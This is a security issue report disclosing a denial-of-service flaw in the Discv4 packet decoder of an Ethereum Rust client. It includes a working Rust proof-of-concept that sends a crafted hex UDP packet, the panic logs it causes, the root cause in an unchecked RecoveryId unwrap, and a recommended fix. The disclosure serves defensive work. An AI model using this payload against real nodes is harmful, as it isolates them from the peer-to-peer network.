[SECURITY] Improper Signature Decoding Leading to Unhandled Panics in P2P Protocol (Discv4) - `RecoveryId::from_byte`
Opened this issue · 0 comments
Our team (@FuzzingLabs) discovered a Denial of Service (DoS) vulnerability in the implementation of the Discovery Version 4 (Discv4). The vulnerability stems from improper handling of malformed signatures in the P2P message decoding process. By sending specifically crafted UDP packets with an invalid signature, an attacker can trigger a panic in the server's code, which leads to the node ceasing to process further requests.
Vulnerability details
- Severity: Critical
- Affected components : decode() (
lambda_ethereum_rust/crates/networking/p2p/discv4.rs
)
Steps to reproduce
Start a localnet using this command :
cargo run --bin ethereum_rust -- --network test_data/genesis-kurtosis.json --authrpc.port 8551 --http.port 8545 --authrpc.jwtsecret ./ethereum-package/static_files/jwt/jwtsecret
Create an exploit that sends a malformed P2P packet to the node :
use std::net::UdpSocket;
fn hex_to_bytes(hex: &str) -> Vec<u8> {
(0..hex.len())
.step_by(2)
.map(|i| u8::from_str_radix(&hex[i..i + 2], 16).unwrap())
.collect()
}
fn main() {
let addr = "127.0.0.1:30303";
let malformed_packet_hex = "7ca638368bf8ec32051e5f7c8510d8321d85c6807f4fc3ffb1689cce5580a8e534f486e4e92f2fdf592912aa77ad51db532dd7f9b426092384c9c2e9919414fd480d57f4f3b2b1964ed6eb1c94b1e4b9f6bfe9b44b1d1ac3d94c38c4cce915bc0f02f7c984bebfbc3982765f80a03e1bf98f025f98d54ed2f61bbef63b6b46f50e12d7b937d6bdea19afd640be2384667d9af086018cf3c3bcdd";
let malformed_packet = hex_to_bytes(malformed_packet_hex);
let socket = UdpSocket::bind("0.0.0.0:0").expect("Failed to bind socket");
socket.connect(addr).expect("Failed to connect to server");
socket.send(&malformed_packet).expect("Failed to send data");
println!("Malformed packet sent to {}", addr);
}
thread 'tokio-runtime-worker' panicked at crates/networking/p2p/discv4.rs:89:62:
called `Option::unwrap()` on a `None` value
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
thread 'tokio-runtime-worker' panicked at /home/.../lambda_ethereum_rust/crates/networking/p2p/./net.rs:96:69:
called `Result::unwrap()` on an `Err` value: JoinError::Panic(Id(13), "called `Option::unwrap()` on a `None` value", ...)
thread 'tokio-runtime-worker' panicked at /home/.../lambda_ethereum_rust/crates/networking/p2p/./net.rs:54:48:
called `Result::unwrap()` on an `Err` value: JoinError::Panic(Id(10), "called `Result::unwrap()` on an `Err` value: JoinError::Panic(Id(13), \"called `Option::unwrap()` on a `None` value\", ...)", ...)
Root cause
The vulnerable code is located in the Packet::decode()
function, which decodes incoming P2P packets. The panic occurs when the function tries to interpret an invalid signature:
let hash = H256::from_slice(&encoded_packet[..hash_len]);
let signature_bytes = &encoded_packet[hash_len..header_size];
let packet_type = encoded_packet[header_size];
let encoded_msg = &encoded_packet[header_size..];
let head_digest = Keccak256::digest(&encoded_packet[hash_len..]);
let header_hash = H256::from_slice(&head_digest);
if hash != header_hash {
return Err(PacketDecodeErr::HashMismatch);
}
let digest = Keccak256::digest(encoded_msg);
let signature = &Signature::from_slice(&signature_bytes[0..64]).unwrap();
let rid = RecoveryId::from_byte(signature_bytes[64]).unwrap(); ---> here
The RecoveryId::from_byte()
function expects a value between 0 and 3. When the value exceeds this range, the function returns None
. The subsequent .unwrap()
call on this None
value causes a panic, crashing the specific thread handling the P2P packet.
In the previous PoC, we modified the last byte of the signature to 0x0f and then recalculate the Keccak256 hash for the packet header. This causes the server to attempt to decode the signature, triggering the panic before any checks or validations can catch the malformed packet. Since the panic happens at the decoding stage, the server stops processing requests and may require a restart.
Impact
This vulnerability can cause the node to stop responding to P2P discovery requests, effectively isolating it from the network. Although the node does not fully crash, it experiences a severe degradation in service.
Recommendation
Add Validation Checks Before Decoding:
To prevent this vulnerability, validation checks should be added before attempting to decode the signature and other sensitive fields. By validating the integrity and format of incoming data early, the server can reject malformed or tampered packets before they are processed. Additionally, implementing proper error handling mechanisms instead of relying on unwrap()
would allow the server to safely handle unexpected inputs without crashing or desynchronizing the node.